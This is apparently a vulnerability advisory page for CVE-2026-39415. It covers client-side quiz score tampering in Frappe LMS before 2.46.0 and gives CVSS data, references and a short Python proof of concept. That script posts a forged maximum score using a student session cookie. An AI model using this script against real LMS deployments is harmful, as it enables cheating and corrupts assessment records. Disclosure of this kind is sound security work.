CVE-2026-39415

Description

Frappe Learning Management System (LMS) is a learning system that helps users structure their content. Prior to 2.46.0, a vulnerability has been identified in Frappe Learning where quiz scores can be modified by students before submission. The application currently relies on client-side calculated scores, which can be altered using browser developer tools prior to sending the submission request. While this does not allow modification of other users’ data or privilege escalation, it compromises the integrity of quiz results and undermines academic reliability. This issue affects data integrity but does not expose confidential information or allow unauthorized access to other accounts. This vulnerability is fixed in 2.46.0.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:learning:*:*:*:*:*:*:*:* - VULNERABLE

Frappe LMS < 2.46.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target API endpoint for submitting quiz results
url = "https://target-lms-instance.com/api/method/lms.lms.doctype.quiz_attempt.quiz_attempt.submit"

# Payload representing the tampered data
# In a vulnerable scenario, the 'score' is calculated on the client side.
# An attacker can modify this value before sending the request.
payload = {
    "quiz_attempt": "attempt_id_here",
    "answers": {},
    "score": 100,  # Tampered score: changed from actual score to maximum
    "status": "Submitted"
}

# Authentication cookies (obtained after logging in as a student)
cookies = {
    "sid": "student_session_id_here",
    "system_user": "no"
}

# Send the POST request with the modified score
response = requests.post(url, json=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Exploit successful! Quiz submitted with modified score: 100")
else:
    print("[-] Exploit failed.")
    print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39415
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39415
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39415/
[4] VulDB https://vuldb.com/cve/CVE-2026-39415
[5] https://github.com/frappe/lms/security/advisories/GHSA-9573-68xq-hwrx

Raw JSON Data

JSON

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